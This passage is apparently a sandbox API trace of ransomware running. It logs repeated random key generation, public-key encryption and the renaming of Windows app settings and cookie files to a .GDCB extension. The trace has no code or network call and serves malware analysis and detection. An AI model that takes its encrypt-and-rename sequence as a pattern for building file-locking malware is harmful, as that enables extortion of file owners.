pdwDataLen=0x285d62c*=0x100) returned 1 [0211.462] GetLastError () returned 0x0 [0211.462] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.462] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0211.464] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489d40) returned 1 [0211.465] CryptGetKeyParam (in: hKey=0x6489d40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.465] CryptEncrypt (in: hKey=0x6489d40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6db0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6db0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0211.465] GetLastError () returned 0x0 [0211.465] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.465] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.NET.Native.Runtime.1.0_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.net.native.runtime.1.0_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.487] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0211.488] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.489] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.489] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0211.490] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.490] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4430) returned 1 [0211.491] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.492] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.492] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0211.492] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.492] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0211.494] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489b00) returned 1 [0211.494] CryptGetKeyParam (in: hKey=0x6489b00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.494] CryptEncrypt (in: hKey=0x6489b00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6dc0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6dc0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0211.495] GetLastError () returned 0x0 [0211.495] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0211.495] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0211.497] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489a40) returned 1 [0211.497] CryptGetKeyParam (in: hKey=0x6489a40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.497] CryptEncrypt (in: hKey=0x6489a40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6dd0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6dd0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0211.497] GetLastError () returned 0x0 [0211.497] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.497] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0211.498] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6de0000 [0211.500] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6df0000 [0211.502] ReadFile (in: hFile=0x510, lpBuffer=0x6df0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6df0000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0211.519] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x6f00000 [0211.524] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Office.OneNote_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.office.onenote_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 0 [0211.563] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0211.565] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.566] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.566] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0211.566] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.566] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0211.567] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.568] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.568] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0211.568] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0211.569] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0211.571] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489900) returned 1 [0211.571] CryptGetKeyParam (in: hKey=0x6489900, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.571] CryptEncrypt (in: hKey=0x6489900, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6dc0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6dc0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0211.571] GetLastError () returned 0x0 [0211.571] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0211.571] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0211.573] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x64899c0) returned 1 [0211.573] CryptGetKeyParam (in: hKey=0x64899c0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.573] CryptEncrypt (in: hKey=0x64899c0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6dd0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6dd0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0211.574] GetLastError () returned 0x0 [0211.574] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.574] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.people_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0211.576] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6de0000 [0211.577] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6df0000 [0211.579] ReadFile (in: hFile=0x510, lpBuffer=0x6df0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6df0000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0211.598] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x6f00000 [0211.603] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.people_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.People_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.people_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 1 [0211.671] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0211.672] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.673] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.673] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0211.673] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.673] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4540) returned 1 [0211.675] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.675] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.675] CryptGenRandom (in: hProv=0x5c4540, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0211.675] CryptReleaseContext (hProv=0x5c4540, dwFlags=0x0) returned 1 [0211.676] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0211.678] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489b80) returned 1 [0211.678] CryptGetKeyParam (in: hKey=0x6489b80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.678] CryptEncrypt (in: hKey=0x6489b80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6dc0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6dc0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0211.678] GetLastError () returned 0x0 [0211.678] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0211.678] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0211.680] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489ec0) returned 1 [0211.680] CryptGetKeyParam (in: hKey=0x6489ec0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.680] CryptEncrypt (in: hKey=0x6489ec0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6dd0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6dd0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0211.680] GetLastError () returned 0x0 [0211.680] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.680] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0211.682] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6de0000 [0211.683] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6df0000 [0211.684] ReadFile (in: hFile=0x510, lpBuffer=0x6df0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6df0000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0211.715] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x6f00000 [0211.719] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.skypeapp_kzf8qxf38zg5c\\settings\\settings.dat.gdcb")) returned 1 [0211.763] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0211.765] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.766] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.766] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0211.766] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.766] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0211.767] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.768] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.768] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0211.768] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.768] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0211.770] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489e40) returned 1 [0211.770] CryptGetKeyParam (in: hKey=0x6489e40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.770] CryptEncrypt (in: hKey=0x6489e40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6dc0000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x6dc0000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0211.770] GetLastError () returned 0x0 [0211.770] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0211.771] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4430) returned 1 [0211.772] CryptImportKey (in: hProv=0x5c4430, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6489c80) returned 1 [0211.772] CryptGetKeyParam (in: hKey=0x6489c80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0211.772] CryptEncrypt (in: hKey=0x6489c80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6dd0000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x6dd0000*, pdwDataLen=0x285d630*=0x100) returned 1 [0211.772] GetLastError () returned 0x0 [0211.772] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.772] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x510 [0211.774] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x6de0000 [0211.775] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x6df0000 [0211.776] ReadFile (in: hFile=0x510, lpBuffer=0x6df0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x6df0000*, lpNumberOfBytesRead=0x285d670*=0x2000, lpOverlapped=0x0) returned 1 [0211.786] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0x6f00000 [0211.791] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\Settings\\settings.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\settings\\settings.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\Settings\\settings.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.vclibs.140.00_8wekyb3d8bbwe\\settings\\settings.dat.gdcb")) returned 0 [0211.874] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0211.876] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.877] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.877] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, pbBuffer=0x285d38c | out: pbBuffer=0x285d38c) returned 1 [0211.877] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.877] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0211.878] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.879] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.879] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x20, pbBuffer=0x285d358 | out: pbBuffer=0x285d358) returned 1 [0211.879] CryptReleaseContext (hProv=0x5c4430, dwFlags=0x0) returned 1 [0211.880] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0211.882] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6489880) returned 1 [0211.882] CryptGetKeyParam (in: hKey=0x6489880, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.882] CryptEncrypt (in: hKey=0x6489880, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6dc0000*, pdwDataLen=0x285d3a4*=0xc8, dwBufLen=0x800 | out: pbData=0x6dc0000*, pdwDataLen=0x285d3a4*=0x100) returned 1 [0211.882] GetLastError () returned 0x0 [0211.882] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.882] CryptAcquireContextW (in: phProv=0x285d22c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d22c*=0x5c4e48) returned 1 [0211.884] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d230 | out: phKey=0x285d230*=0x6489940) returned 1 [0211.884] CryptGetKeyParam (in: hKey=0x6489940, dwParam=0x8, pbData=0x285d21c, pdwDataLen=0x285d224, dwFlags=0x0 | out: pbData=0x285d21c*=0x800, pdwDataLen=0x285d224*=0x4) returned 1 [0211.884] CryptEncrypt (in: hKey=0x6489940, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x6dd0000*, pdwDataLen=0x285d3a8*=0xc8, dwBufLen=0x800 | out: pbData=0x6dd0000*, pdwDataLen=0x285d3a8*=0x100) returned 1 [0211.884] GetLastError () returned 0x0 [0211.884] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0211.884] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Packages\\Microsoft.Windows.Cortana_cw5n1h2txyewy\\AC\\INetCookies\\LVKKMMVN.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\packages\\microsoft.windows.cortana_cw5n1h2txyewy\\ac\\inetcookies\\lvkkmmvn.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0211.884] CryptAcquireContextW (in: phProv=0x285d23c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d23c*=0x5c4430) returned 1 [0211.886] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0211.887] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0211.887] CryptGenRandom (in: hProv=0x5c4430, dwLen=0x10, 